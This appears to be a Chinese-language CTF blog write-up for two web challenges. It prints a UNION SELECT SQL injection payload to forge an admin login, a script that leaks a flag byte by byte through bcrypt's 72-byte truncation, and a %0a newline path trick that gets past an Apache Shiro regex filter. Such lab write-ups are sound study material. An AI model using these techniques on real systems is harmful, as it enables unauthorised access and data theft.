宁波市-2026-web
作者:Erina
5 分钟阅读 556 字
归档
CTF
目录
crazy_sql
首页给出了源码链接,给出了部分关键逻辑:
$flag = str_replace("\n", "", file_get_contents("/flag.txt"));$secret = str_replace("\n", "", file_get_contents("/secret.txt"));$db = new SQLite3('/db.sqlite3');$pattern = '/\b(insert|update|delete|drop|truncate|alter|database|attach|values|load_extension)\b/i';
if (isset($_GET['salt']) && strcmp($_GET['salt'], $secret) == 0) { $password .= $flag;}
$pwhash = crypt($password, $secret);
if (!preg_match($pattern, $username) && !preg_match($pattern, $password)) { $res = $db->querySingle("SELECT username, pwhash FROM users WHERE username = '$username'", true); ...}这里的 username 直接拼入 SQLite 查询,所以能使用 UNION SELECT 注入。
- bcrypt 只使用前 72 字节输入,可以通过选择不同长度的前缀逐字节恢复 flag。
2. 泄露 secret
先用 username=admin&password=a 用户触发
crypt($password, $secret),得到当前密码 a 的哈希:
你的登陆密码错误:$2a$10$77b438009c258a4cb0215OT5BDFQzsJVmrpanlkmed5C5HJfTbyDC然后用 SQL 注入伪造一条 admin 记录,让数据库返回的 pwhash 等于本次计算出的
$pwhash:
x' UNION SELECT 'admin','$2a$10$77b438009c258a4cb0215OT5BDFQzsJVmrpanlkmed5C5HJfTbyDC'--登录成功后页面注释泄露 $secret:
<!-- secret: $2a$10$77b438009c258a4cb0215c98a19cfb61$ -->如果 GET 参数 salt 等于 $secret,服务端会计算
crypt($password . $flag, $secret),我们构造如下请求:
POST /?salt=$2a$10$77b438009c258a4cb0215c98a19cfb61$username=admin&password=<prefix>服务端会回显:
crypt(<prefix> . $flag, $secret)bcrypt 只处理前 72 字节。令 prefix = 'A' * 71,则哈希只与 A * 71 + flag[0]
有关,可以本地枚举第 1 个字符。第 i 位使用:
prefix = 'A' * (71 - i)target = crypt(prefix + full_flag, secret)local = crypt(prefix + known + candidate, secret)当 local == target 时,candidate 就是当前字符。
写个简单的脚本解密出来,就能得到flag了:
charset = "DASCTFflag{}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-!@#$%^&*()+[]=,:.;?/|~`<>\\'\""charset = "".join(dict.fromkeys(charset))known = ""
for idx in range(72): pad = "A" * (71 - idx) target = oracle(pad, secret) for ch in charset: if local_crypt(pad + known + ch, secret) == target: known += ch print(known, flush=True)Easy_Bypass Writeup
给出了jar包,反编译能看到只有一个路由:/permit/{value}。
MyShiroFilterFactoryBean 里手工注册了一个过滤规则:
/permit/.* -> myFilter这道题的关键点在于 Shiro 在计算路径时会对 URI 先解码和归一化,再正则匹配。
这里的正则 /permit/.* 中的 . 不匹配换行,所以我们构造 /permit/%0a,
解码后路径里会出现换行字符,导致 /permit/.* 这个正则匹配失败,Shiro 不再进入
myFilter。
但 Spring MVC 仍然会把这个请求当成 /permit/{value}
来处理,于是控制器正常返回内容,即可得到flag。